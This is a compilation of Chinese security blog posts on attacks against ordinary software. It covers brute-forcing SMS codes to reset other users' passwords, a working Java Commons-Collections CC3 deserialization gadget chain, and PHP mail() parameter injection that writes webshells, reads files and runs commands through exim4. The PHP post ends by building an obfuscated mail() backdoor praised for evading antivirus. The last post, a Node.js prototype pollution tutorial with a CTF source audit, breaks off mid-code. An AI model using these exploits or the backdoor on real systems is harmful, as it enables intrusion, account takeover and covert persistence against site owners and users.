一次漏洞挖掘的简单组合拳
前言: 在最近的wxb举行hw中,同事让我帮他看看一些后台登录站点。尝试了未授权,弱口令皆无果,要么不存在弱口令,要么有验证码,没办法绕过。本文章仅提供一个思路,在hw中更多时候并不推荐尝试这种思路,只能作为一种解,因为花费的时间较长,前后大概花费了一个小时才拿下一个后台账号。 过程及思路: 在外围打点的过程中发现了一个站点,存在用户名枚举: 然后看到下面的验证码,估计很多都会放弃了吧!短信验证码+密码才能登录,爆破难度太大了。我一开始也是这么想的,后面尝试了下面的找回密码,看看是否能任意修改他人的账号密码。 后续先用自己不常用的手机号获取下验证码(这一步其实在hw中是很危险的,很容易被溯源)。发现短信验证码为四位数,而且失效时间大约在3分钟左右。查看这边重置密码的条件也就是短信验证码。这时候还记得我们前面发现的用户名枚举吗?我的思路是结合这两个漏洞,实现重置他人密码。 那么问题来了,我怎么知道用户的手机号码呢?或者说,手机号码那么多我要怎么找呢?这个是一个地级市的服务平台,那么他的用户理论上会存在大部分的该地级市的手机号码。每个地区的号码都是由前七位控制的,那么就可以查询一个地区的所有前七位号码,在加上遍历后面4位号码即可获得一个地区的手机号字典。这边给大家推荐一个工具,可以用来爬取一个地级市所有的手机号码。使用后会在本地生成字典号码。 然后把这些号码用burp去爆破,就可以获取到数据库里面存在的账号了。 通过爆破,我们获取到了后台账号,再结合前面的4位数验证码,去尝试爆破。 抓取重置密码的请求包,密码我们提前写好了: 再用intruder去爆破短信验证码: 皇天不负有心人,尝试了几次,终于成功了。当我高高兴兴拿着密码去登录时,发现还要验证码,这时候再重复一下前面的操作就行了。 然后就是把整个响应包的内容复制下来,再去点击下登录,然后替换掉登录报错的信息即可成功进入后台。 里面富含大量敏感信息,虽然没啥用。 然后在功能列表里面找到一个上传图片的地方,并未做过滤,成功上传木马: 但是没啥用,解析不了QAQ。本次只是给大家介绍一下思路,方法是可行的。其实我也不想用这种方法,但是更多的是想验证自己的猜想,才最终去实践证明。
CC1打不通时的另外一条链CC3
在CC1和CC6中,我们最终弹计算器都是通过Runtime.exec进行调用,从CC3我们要介绍一种不通过Runtime来弹计算器的方法,也就是Java中常提到的动态类加载,动态类加载可以让我们通过一个路径来加载一个恶意类,如果这个恶意类在静态代码块或构造代码块中写入了恶意方法,那么我们就可以通过找一条链子来初始化这个类(一般在进行实例化时会对类进行初始化),从而达到代码块中的代码执行。 ClassLoader中的defineClass最终实现了类的动态加载(后面还有一些过程但已经是依靠c来实现的了),在ClassLoader中可以看到一堆defineClass,我们查找用法,看一下哪个defineClass在别处被调用了,而且权限最好是default或者public,方便我们利用,最终锁定下面这个: protected final Class<?> defineClass(String name, byte[] b, int off, int len)        throws ClassFormatError 这个defineClass被调用的点在com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl.TransletClassLoader下,也是一个defineClass: 这个defineClass又在当前类中被defineTransletClasses调用: defineTransletClasses同类下有三个被调用点,我们看一下哪个方法可以被我们利用: 第一个返回_class: private synchronized Class[] getTransletClasses() {        try {            if (_class == null) defineTransletClasses();       }        catch (TransformerConfigurationException e) {            // Falls through       }        return _class;   } 第二个返回了_class的下标: public synchronized int getTransletIndex() {        try {            if (_class == null) defineTransletClasses();       }        catch (TransformerConfigurationException e) {            // Falls through       }        return _transletIndex;   } 第三个方法我们主要看newInstance这里,这个_class[_transletIndex]可控(通过上面找到的defineTransletClasses动态加载进来),如果我们让_class为我们所构造的恶意类并让它newInstance,那么就可以执行恶意类中的静态/构造代码块中的代码,所以我们接着找这个方法的调用点: private Translet getTransletInstance()        throws TransformerConfigurationException {        try {            if (_name == null) return null;            if (_class == null) defineTransletClasses();            // The translet needs to keep a reference to all its auxiliary            // class to prevent the GC from collecting them            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); 下一调用点还是在这个类中,我们找到newTransformer()这个方法: public synchronized Transformer newTransformer()        throws TransformerConfigurationException   {        TransformerImpl transformer;        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,            _indentNumber, _tfactory); 我们来梳理一下到目前的调用链,很短也很方便: 我们先将payload写出来: TemplatesImpl templatesimpl = new TemplatesImpl();        templatesimpl.newTransformer(); 写完啦 下班!(开个玩笑)逻辑上来说这两行代码确实是完整的调用链,我们接下来要做的就是对类内部的各种属性进行赋值: newTransformer内不需要进行赋值操作,跟进到getTransletInstance中 ,类内没有对name和class进行赋值,如果想要触发defineTransletClasses()我们就需要让name不为空,class为空,直接不给_class赋值即可: if (_name == null) return null; if (_class == null) defineTransletClasses(); 继续跟进到defineTransletClasses中 ,如果想要走到下面动态加载class,我们这里要注意对tfactory进行赋值,否则对一个空属性调用方法,会爆空指针异常: return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); 上一步之后我们在对class赋值这里可以看到是通过修改_bytecodes从而控制class的值: for (int i = 0; i < classCount; i++) {                _class[i] = loader.defineClass(_bytecodes[i]); 一共三个需要修改的值,TemplatesImpl类是可序列化的,所以我们可以直接通过反射修改这些值,看一下这几个值的类型: private String _name = null; private byte[][] _bytecodes = null; private transient TransformerFactoryImpl _tfactory = null; 都是private属性,所以要用setAccessible 来修改访问权限,name是String类型,所以直接赋个字符串就行: Class tmp = templatesimpl.getClass();        Field nameField = tmp.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templatesimpl,"y1"); 再看_bytecodes,一个二维数组,但我们在给_class赋值时defineClass接受的却是一个一维数组: for (int i = 0; i < classCount; i++) {                _class[i] = loader.defineClass(_bytecodes[i]); Class defineClass(final byte[] b) {            return defineClass(null, b, 0, b.length); 所以我们给_bytecodes 赋值时可以将defineClass接收的一维数组放进_bytecodes这个二维数组中,这样在进行for循环遍历时就可以将这个一维数组遍历出来并传给defineClass,这个class需要我们在写好java源码后手动编译为class文件,最好把这个class文件复制到电脑上的别的地方再在这里使用(编译后的class文件一般在target下): Field bytecodesField = tmp.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));        byte[][] codes = {code};        bytecodesField.set(templatesimpl,codes);Test.class public class Calc {    static{        try {            Runtime.getRuntime().exec("open -na Calculator"); //这里是mac弹计算器的命令       } catch (IOException e) {                             //win下还是calc            throw new RuntimeException(e);       }   } } 然后我们再来改_tfactory的值: 这里要注意一下,被transient关键字修饰的属性是不参与序列化的,也就是说就算我们通过反射修改了它的值,反序列化后的二进制流这个属性的值也依旧是null,所以这里我们要用其他的方式赋值 private transient TransformerFactoryImpl _tfactory = null; 我们在readObject中发现有对这些属性进行赋值的操作,_tfactory的值是一个TransformerFactoryImpl实例: _name = (String)gf.get("_name", null);   //以下几行代码对序列化流中的属性读取它们的值,如果读不到值那么将它的值设为默认值(第二个参数)      _bytecodes = (byte[][])gf.get("_bytecodes", null);        _class = (Class[])gf.get("_class", null);        _transletIndex = gf.get("_transletIndex", -1);        _outputProperties = (Properties)gf.get("_outputProperties", null);        _indentNumber = gf.get("_indentNumber", 0);        if (is.readBoolean()) {            _uriResolver = (URIResolver) is.readObject();       }        _tfactory = new TransformerFactoryImpl();   } 我们先不进行序列化和反序列化,我们先用反射修改_tfactory的值,看看能不能弹计算器(这里我们并没有进行序列化和反序列化,所以其实就是用反射修改了个值,所以是可以修改成功的): TemplatesImpl templatesimpl = new TemplatesImpl();        Class tmp = templatesimpl.getClass();        Field nameField = tmp.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templatesimpl,"y1");        Field bytecodesField = tmp.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));        byte[][] codes = {code};        bytecodesField.set(templatesimpl,codes);        Field tfactoryfield = tmp.getDeclaredField("_tfactory");        tfactoryfield.setAccessible(true);        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());        templatesimpl.newTransformer(); 没有弹出来计算器,爆了空指针异常,通过调试发现在_class成功加载类后,是这里抛出了异常: final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) {                    _transletIndex = i;               }                else {                    _auxClasses.put(_class[i].getName(), _class[i]);               }           }            if (_transletIndex < 0) {                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);                throw new TransformerConfigurationException(err.toString());           } 第一个if检查class的父类是否叫ABSTRACT_TRANSLET ,如果没有进入到if里面那么else中的auxClasses为空,就会抛空指针,并且下面第二个if中也会抛异常,为了避免这两个抛异常的点,我们需要将_class加载的恶意类继承名为ABSTRACT_TRANSLET 的父类: private static String ABSTRACT_TRANSLET        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; 修改恶意类,继承的父类中有两个抽象方法需要进行重写: public class Calc extends AbstractTranslet{    static{        try {            Runtime.getRuntime().exec("open -na Calculator");       } catch (IOException e) {            throw new RuntimeException(e);       }   }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {   }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {           } } 现在就可以弹出计算器了,如果你这里没有弹出来,看一下import的包是不是有问题,TemplatesImpl和TransformerFactoryImpl的路径一定要是com.xxx,如果是org.xxx是不能用的: import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; public class CC3Test {    public static void main(String[] args) throws Exception{        TemplatesImpl templatesimpl = new TemplatesImpl();        Class tmp = templatesimpl.getClass();        Field nameField = tmp.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templatesimpl,"y1");        Field bytecodesField = tmp.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));        byte[][] codes = {code};        bytecodesField.set(templatesimpl,codes);        Field tfactoryfield = tmp.getDeclaredField("_tfactory");        tfactoryfield.setAccessible(true);        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());        templatesimpl.newTransformer();   } } 下面我们要想办法执行templatesimpl.newTransformer,这里依旧是用CC1中用到的InvokerTransformer.transform进行代码的执行: TemplatesImpl templatesimpl = new TemplatesImpl();        Class tmp = templatesimpl.getClass();        Field nameField = tmp.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templatesimpl,"y1");        Field bytecodesField = tmp.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));        byte[][] codes = {code};        bytecodesField.set(templatesimpl,codes);        Field tfactoryfield = tmp.getDeclaredField("_tfactory");        tfactoryfield.setAccessible(true);        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());        ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{            new ConstantTransformer(templatesimpl),            new InvokerTransformer("newTransformer",null,null)       });        ctf.transform(1); 剩下的找Chainedtransformer.transform 的调用点就和CC1后面一样了,直接粘过来就是: package ysoserial.payloads.Test; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; import static ysoserial.payloads.util.Test.util.Serialize.serialize; import static ysoserial.payloads.util.Test.util.Unserialize.unserialize; public class CC3Test {    public static void main(String[] args) throws Exception{        TemplatesImpl templatesimpl = new TemplatesImpl();        Class tmp = templatesimpl.getClass();        Field nameField = tmp.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templatesimpl,"y1");        Field bytecodesField = tmp.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));        byte[][] codes = {code};        bytecodesField.set(templatesimpl,codes);        Field tfactoryfield = tmp.getDeclaredField("_tfactory");        tfactoryfield.setAccessible(true);        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());        ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{            new ConstantTransformer(templatesimpl),            new InvokerTransformer("newTransformer",null,null)       });        HashMap map = new HashMap();        map.put("value","v");        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);        Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);        annotationInvocationHandlerconstructor.setAccessible(true);        Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);        serialize(o);        unserialize("ser.bin");   } } 相较于CC1来说一个是通过调用Runtime来进行命令执行,一个是通过动态类加载进行代码执行,如果过滤了Runtime我们就可以尝试用这条CC3 接下来我们在来说ysoserial上用的另一条调用链: 我们回到newTransformer,刚才说的是用CC1后半段直接调用,我们接着向下找调用newTransformer 的地方,最终锁定在了com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java 这个类上,这个类没有继承serialize接口,也就是说我们没办法通过反射来修改实例中属性的值,但是我们想到对属性值进行初始化的操作一般在构造函数中,我们来看一下它的构造函数: public TrAXFilter(Templates templates)  throws        TransformerConfigurationException   {        _templates = templates;        _transformer = (TransformerImpl) templates.newTransformer();        _transformerHandler = new TransformerHandlerImpl(_transformer);        _useServicesMechanism = _transformer.useServicesMechnism();   } 我们可以通过这个构造函数来控制这个templates的值,所以下一步就是要找可以调用这个构造函数的地方,ysoserial中给出了InstantiateTransformer 这个类,通过它的构造函数和transform方法可以调用一个对象的指定参数的构造函数: public InstantiateTransformer(Class[] paramTypes, Object[] args) {        this.iParamTypes = paramTypes;        this.iArgs = args;   } public Object transform(Object input) {        try {            if (!(input instanceof Class)) {                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));           } else {                Constructor con = ((Class)input).getConstructor(this.iParamTypes);                return con.newInstance(this.iArgs);           } 也就是说下面两行代码就可以执行newTransformer了: InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl}); instantiateTransformer.transform(TrAXFilter.class); 最终还是用ChainedTransformer包裹起来执行: TemplatesImpl templatesimpl = new TemplatesImpl();        Class tmp = templatesimpl.getClass();        Field nameField = tmp.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templatesimpl,"y1");        Field bytecodesField = tmp.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        byte[] code = Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));        byte[][] codes = {code};        bytecodesField.set(templatesimpl,codes);        Field tfactoryfield = tmp.getDeclaredField("_tfactory");        tfactoryfield.setAccessible(true);        tfactoryfield.set(templatesimpl,new TransformerFactoryImpl());        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesimpl});        ChainedTransformer ctf = new ChainedTransformer(new Transformer[]{            new ConstantTransformer(TrAXFilter.class),            instantiateTransformer       });        HashMap map = new HashMap();        map.put("value","v");        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,ctf);        Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);        annotationInvocationHandlerconstructor.setAccessible(true);        Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);        serialize(o);        unserialize("ser.bin"); 完整的CC6调用链,当InvokerTransformer被ban时就可以用这条链:
从一次有趣的漏洞分析到一个有趣的PHP后门
起因 事情的起因很有趣,前几天我正对着电脑发呆的时候,突然有个安全交流群的群友来找我交流一个问题 大概的意思就是,他在挖SRC的时候,发现一处资产存在目录遍历漏洞,它通过这个漏洞,找到目标资产使用了一个名为phpmailer的中间件(应该类似于中间件吧),问我有没有办法利用,我查了一下这个组件的漏洞信息。最新的洞似乎截止到6.5.0版本以前 很不幸,群友这个版本是6.5.1,刚好就不能利用了 找不到符合版本的洞没关系,抱着学习的心态,我还是看了一下它的历史漏洞成因,不看不知道,看了之后就学到一些好玩的新知识了,这也就是为什么会有这篇文章的原因。 CVE-2016-10033的简单分析 CVE-2016-10033是Phpmailer出现过的最经典的的漏洞,在本文正式开始之前,我们先来简单分析一下这个漏洞。读者可以到: https://github.com/opsxcq/exploit-CVE-2016-10033/blob/master/src/class.phpmailer.php看到phpmailer的代码。这里先开门见山地说,漏洞的成因其实就在mail()函数的第五个参数,只要控制了第五个参数,我们就能进行RCE、文件读取等操作。因此我们先追溯mail()函数: 因此我们可以先定位到mailPassthru()这一方法,可以看到,这个方法内部就使用了mail(),maill的第五个参数也就是mailPassthru()的第五个参数。 因此,我们再查看有没有别的地方使用了mailPassthru(),可以找到这个maillSend()方法中使用了mailPassthru()方法,并且第五个参数$params是来自于当前类中的Sender属性 那我们回溯Sender属性,看看有什么地方可以控制Sender属性。 这里可以看到,setFrom方法当中,就可以对Sender属性进行赋值 当然,这个漏洞还有一个重点就是对validateAddress()这一方法的绕过,这也是CVE-2016-10033的精彩部分。 但是它和本文的重点不符,所以我们就不深入分析这块。 既然知道了Sender这个关键属性是怎么赋值的,接下来我们继续分析mailSend()方法的调用链,可以找到postSend()方法 继续看postSend(),最终可以找到send()方法 自此,整个漏洞的传参流程我们就已经分析完了。大体上来说,只要我们用setFrom()方法对Sender属性赋值,再调用send()方法。那么Sender属性的值就会进入到mail()函数的第五个参数中,从而实现RCE。看到这想必很多读者已经对开篇提到的这个mail()函数的第五个参数提起兴趣了,为什么控制了它就能实现RCE呢?这就要提到php中 mail()函数的实现原理了。 有趣的mail() mail()函数是php定义的用来发送邮件的函数,其支持的参数如下: 为什么一个发送邮件的函数能造成RCE?前人的安研经验已经告诉了我们答案。Php的mail()函数,其底层其实是调用了linux下的sendmail命令。由于sendmail支持一些有趣的参数,这就会造成更大的危害。 ①日志写入导致的RCE 接着上面提到的内容来说,我们首先要介绍的是sendmaill的X和O参数,其效果分别为: -X logfile :指定一个文件来记录邮件发送的详细日志。 -O option=value :临时设置一个邮件储存的临时位置。 看到这大部分读者应该马上能反应过来,我们能指定文件来储存邮件发送的日志,那不就可以写日志getshell了吗?事实也的确如此。了解这个信息之后,我们再回过头看mail()函数支持的第五个参数: 没错,我们可以用这个第五个参数来控制sendmail的额外参数,那我们控制X的参数值不就拿下了?我们可以使用如下demo进行测试: <?php $to = 'La2uR1te@b.c'; $subject = '<?php system("whoami"); ?>'; //你想执行的任意php代码 $message = '<?php system("ls ./"); ?>';//同上 $headers = ''; $addtionparam = '-f La2uR1te@1 -OQueueDirectory=/tmp/ -X/var/www/html/1.php'; //假设我们已知目标站点绝对路径 mail($to, $subject, $message, $headers, $param); ?> 比如我在自己的服务器上运行如下代码,我们假设网站根目录是/root/,我们运行一下上述代码看看会发生什么。(在复现的时候确保你已经安装过sendmail,不然没用)。 运行完之后,我们在root目录下确实发现了一个名为testmail.php的文件。 我们看看它的内容是什么: 其实他的内容很多,就是日志文件。但是看箭头指的地方,毫无疑问,我们的代码已经被成功写入了。这时候如果我们再用php来执行这个testmail.php,注意看前后的区别 当前用户就是root,当前目录下只有testmail.php和test.php,毫无疑问,我们的恶意代码已经被成功执行了。 综上,如果我们知道目标网站的绝对路径、目标网站是linux环境并且php底层使用sendmail进行发送邮件(默认),那么就可以使用mail()函数来执行写入日志文件的GETSHELL。 ②读取配置文件导致的任意文件读取 这个函数好玩的地方不止于此,它还可以用于任意文件读取。我们修改一下上面的demo 注意看这里,我们使用了-C参数,后面跟着我们想读取的文件。这样就能直接实现任意文件读取了! 如下图,直接读文件一把梭 ③进阶技巧之利用配置文件执行代码 设想这么一个变态的情况,整个网站,假设我们只有一个可供文件写入的点,并且还有很严格的过滤。这个时候有没有能够用mail()来操作的可能呢?再说回sendmail命令的特性,默认会使用sendmail-mta来解析待发送的邮件内容,我们其实有办法覆盖sendmail的解析配置,让它用php来解析我们要发送的邮件内容,从而直接完成命令执行。 我们首先到/etc/mail/sendmail.cg,复制其内容。然后在其内容结尾加上如下配置: Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, T=DNS/RFC822/X-Unix, A=php -- $u $h ${client_addr} 把这个新文件命名为sendmail_cf 接着我们执行如下命令,因为这玩意不能回显,所以我们还是让它新创建几个文件: 执行上面的代码之后。可以看到tmp目录下多出一个xnklgxfc(提前祝师傅们新年快乐恭喜发财哈) ④进阶技巧之Exim4情况下mail()函数操作 这里因为环境没配置好,所以没有演示成功,我就借助别的师傅的结果了 mail()函数的底层虽然是sendmail命令,但有时它也有可能是exim4命令。比方说在ubuntu/debain中,sendmail实际上软连接到了exim4。也就是说,我们有新姿势了(exim4的各种参数和能打出的操作都是不同的) 这里我们介绍一个,-be参数,这个参数事exim4中的运行扩展模式参数,这个参数支持我们打出大量操作,例如: -be ${run{<command> <args>}{<string1>}{<string2>}} //执行命令<command> <args>,成功返回string1,失败返回string2 -be ${substr{<string1>}{<string2>}{<string3>}} //字符串的截取,在string3中从string1开始截取string2个字符 -be ${readfile{<file name>}{<eol string>}} //读文件file name,以eol string分割 -be ${readsocket{<name>}{<request>}{<timeout>}{<eolstring>}{ <fail string>}} //发送socket消息,消息内容为request 没错,你可以发现,这玩意除了可以进行直接的命令执行(不需要写日志文件getshell了),虽然不能回显,但是弹个shell就是简简单单。并且还是可以任意文件读取。并且最骚的是可以用substr来进行字符串截取,这样的话就支持我们进行很多绕过WAF的操作。 利用mail()来造一个简单的后门 上文提到了各种mail()的骚操作,我在学习复现的过程中除了感到NB无话可说。它的种种特性不禁让我思考,它是否有成为后门的潜质,它在正常的linux环境就可以实现日志getshell以及任意文件读取。在其它特定情况下它也可以无回显进行命令执行。并且它是一个再正常不过的函数,一般的开发和安全人员可能都不会觉得这样一个人畜无害的邮件发送函数能造成什么危害。抱着这样的心态,我先简单的实现了这么一个功能: 其中$e的明文内容为:-f La2uR1te@1 -OQueueDirectory=/tmp/-X/root/mailshell.php 而$a/$b/$c/$d的内容均为phpshell。我们拿它到实际环境去试试看能不能成功实现我们刚刚演示的效果。如果运行成功,那么应该会在root目录下生成mailshell.php 如图,mailshell.php成功生成 其内容即为php一句话 所以我们继续改造一下这个后门,让其变得更加可控。根据上面的总结我们可以知道只要控制第五个参数就行,所以我们的改造也十分简单: 这个后门最后能实现的效果包括但不限于:①linux环境下的任意文件写入(可getshell)②linux环境下的任意文件读取③特定环境(比如mail()底层使用exim4或软连接到exim4)下的无回显命令执行、代码执行 截至本文发表,这个结构极其简单的后门依然具有不错的免杀能力: 后记 之所以说本文是炒冷饭,是因为安全圈至少在2016年之前就已经知道mail()函数造成的危害。而更多深入利用姿势在17年和18年都有师傅总结。对于我这个萌新来说,确实是大开眼界叹为观止,果然漏洞的复现一定要及时搞,不然容易错过很多有趣的知识。
Nodejs原型链污染
Nodejs与JavaScript和JSON 有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别,如果没有node,那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析。几乎所有的浏览器都配备了JavaScript的解析功能(最出名的就是google的v8), 这也是为什么我们能在f12中直接执行JavaScript的原因。 而Nodejs则是由这个解析器单独从浏览器中拿出来,并进行了一系列的处理,最后成为了一个可以在服务端运行JavaScript的环境。 这里看到一个很好的例子,学过java的师傅应该就明白了。 那么JSON又是什么呢?简单概括一下就是JavaScript的对象表示方法,它表示的是声明对象的一种格式, 由于我们从前端接收到的数据基本都是字符串,因此在服务端如果要将这些字符串处理为其他格式,比如对象,就需要用到JSON了。 原型对象(prototype)与原型连接点(__proto__)与原型链 在c++或java这些面向对象的语言中,我们如果想要一个对象,首先需要使用关键字class声明一个类,再使用关键字new一个对象出来,但是在JavaScript中没有class以及类这种概念(为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖)。 在JavaScript有这么两种声明对象的方式,为了好理解我们先引入类的思想。 person=new Object() person.firstname="John"; person.lastname="Doe"; person.age=50; person.eyecolor="blue"; 这种创建对象的方法还有另一种写法 如下 person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"}; 这种方法通过直接实例化构造方法Object()来创建对象function person(firstname,lastname,age,eyecolor)  这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器 {    this.firstname=firstname;    this.lastname=lastname;    this.age=age;    this.eyecolor=eyecolor; } var myFather=new person("John","Doe",50,"blue"); 通过这个“类”实例化对象 var myMother=new person("Sally","Rally",48,"green"); 这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object 如果对这里为什么属于Object而不属于Function有疑问请继续阅读 下面会解释 既然是通过实例化Object来创建对象或创建构造函数,在JavaScript中有两个很特殊的对象,Function() 和 Object() ,它们两个既是构造函数也是对象,作为对象是不是应该有一个“类”去作为他们的模板呢? 对于Object()来说,要声明这么一个构造函数我们可以使用关键字function来创建 。(在底层 使用function创建一个函数 其实就相当于这个过程) function Object() { } 在底层为 var Object = new Function(); 那么对于Function自己这个对象,他是怎么来的呢?如果用Function.__proto__和Function.prototype进行比较,发现二者是全等的,所以Function创造了自己,也创造了Object,所以JavaScript中,所有函数都是对象,而对象是通过函数创建的。因此构造函数.prototype.__proto__应该是Object.prototype,而不是Function.prototype,Function的作用是创建而不是继承。 那么提到了__proto__和prototype我们就来说说这两个是什么东西。 首先我们要了解以下概念: __proto__是任何一个对象拥有的属性 prototype是任何一个函数拥有的一个属性 比如 person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"}; 那么这个person对象就拥有了person.__proto__这个属性,而Object()我们刚才提到了是由Function创建来的一个构造函数,那么Object就天生有了Object.prototype。 1.某一对象的 __proto__指向它的prototype(原型对象), 也就是说如果直接访问person.__proto__ 那么就相当于访问了Object.prototype。 2.JavaScript使用prototype链实现继承机制。 3.构造函数xxx.prototype是一个对象,xxx.prototype也有自己的__proto__属性,并且可以继续指向它的的prototype。 4.Object.prototype.proto最终指向null,这也是所有原型链的终点。 5.从一个对象的__proto__不断向上指向原型对象,最终指向Objecct.prototype后,接着指向为Null,这一条链子就叫做原型链。 如果我们有如下代码: function Father() {    this.first_name = 'Donald'    this.last_name = 'Trump' } function Son() {    this.first_name = 'Melania' } Son.prototype = new Father() let son = new Son() console.log(`Name: ${son.first_name} ${son.last_name}`) 那么按照上述说法 就有如下结构 对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作: 在对象son中寻找last_name。 如果找不到,则在son.__proto__中寻找last_name。 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name。 依次寻找,直到找到null结束。 原型链污染 举个栗子 // 这个对象直接实例化Object() let foo = {bar: 1} // foo.bar 此时为1 console.log(foo.bar) // 修改foo的原型(即Object) foo.__proto__.bar = 2 // 由于查找顺序的原因,foo.bar仍然是1 console.log(foo.bar) // 此时再用Object创建一个空的zoo对象 let zoo = {} // 查看zoo.bar console.log(zoo.bar) 这里由于修改了foo.__proto__.bar 也就是修改了Object.bar,因此在后续的实例化对象中,新的对象会继承这一属性 造成了原型链污染。 在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢? 我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可。 看下面代码,一个简单的对象clone: function merge(target, source) {    for (let key in source) {        if (key in source && key in target) {              // 如果target与source有相同的键名 则让target的键值为source的键值            merge(target[key], source[key])       } else {            target[key] = source[key]  // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值       }   } } let o1 = {} let o2 = {a: 1, "__proto__": {b: 2}} merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b) 这里执行后发现,虽然两个对象成功clone,但是Object()并没用被污染,这是因为在创建o2时, __proto__是已经存在于o2中的属性了,解析器并不能将这个属性解析为键值,所以要用JSON去修改代码(前面我们说了 JSON是JavaScript的对象表示方法 可以将字符串转换为对象), 这样就可以使__proto__被成功解析成键名了。 let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b) 漏洞复现 [GYCTF2020]Ez_Express 进入环境之后是一个登录页面,测试之后发现存在http://www.zip源码泄露,开始审计index.js var express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => {  for (var attr in b) {    if (isObject(a[attr]) && isObject(b[attr])) {      merge(a[attr], b[attr]);   } else {      a[attr] = b[attr];   } }  return a } const clone = (a) => {  return merge({}, a); } function safeKeyword(keyword) {  if(keyword.match(/(admin)/is)) {      return keyword }  return undefined } router.get('/', function (req, res) {  if(!req.session.user){    res.redirect('/login'); }  res.outputFunctionName=undefined;  res.render('index',data={'user':req.session.user.user}); }); router.get('/login', function (req, res) {  res.render('login'); }); router.post('/login', function (req, res) {  if(req.body.Submit=="register"){   if(safeKeyword(req.body.userid)){    res.end("<script>alert('forbid word');history.go(-1);</script>")   }    req.session.user={      'user':req.body.userid.toUpperCase(),      'passwd': req.body.pwd,      'isLogin':false   }    res.redirect('/'); }  else if(req.body.Submit=="login"){    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){      req.session.user.isLogin=true;   }    else{   